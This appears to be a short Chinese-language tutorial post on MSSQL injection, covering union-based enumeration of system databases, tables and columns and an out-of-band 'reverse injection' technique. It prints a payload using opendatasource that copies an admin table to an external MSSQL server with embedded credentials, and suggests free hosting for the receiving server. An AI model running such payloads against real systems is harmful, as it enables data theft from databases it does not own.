前言:

MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路。

MSSQL的显错注入操作:

以联合查询为例:

猜字段
联合查询:union all
猜出输出点使用null填充
注释只有 --+、-- a 没有#
查询系统库:select name,null,...... from dbo.sysdatabases 可以不用查库名
查询系统表:select name,null,...... from dbo.sysobjects where xtype='U' //U表示用户创建表
查询表中的字段:select name,null,...... from dbo.syscolumns where id= 表名对应的id

MSSQL反弹注入:

MSSQL反弹注入的使用场景

命名是SQL的注入点却无法进行注入操作,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题。

为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术则需要依靠opendatasource函数支持。

环境的搭建:

我们前面说到,MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网IP。

香港云(http://www.webweb.com/) 随便拿个邮箱然后注册就行
香港云如果失效:https://my.gearhost.com/CloudSite
数据库连接器:http://mssqlus.webweb.com/

反弹注入语句解析:

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

语法:
OPENDATASOURCE(provider_name,init_string)

provider_name
    注册为用于访问数据源的OLE DB 提供程序的PROGID的名称                 MSSQL的名称为SQLOLEDB

init_string
    连接字符串
    连接地址、端口、用户名、密码、数据库名
    server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp  把后面语句的查询结果插入到那个表里面
12-30 13:28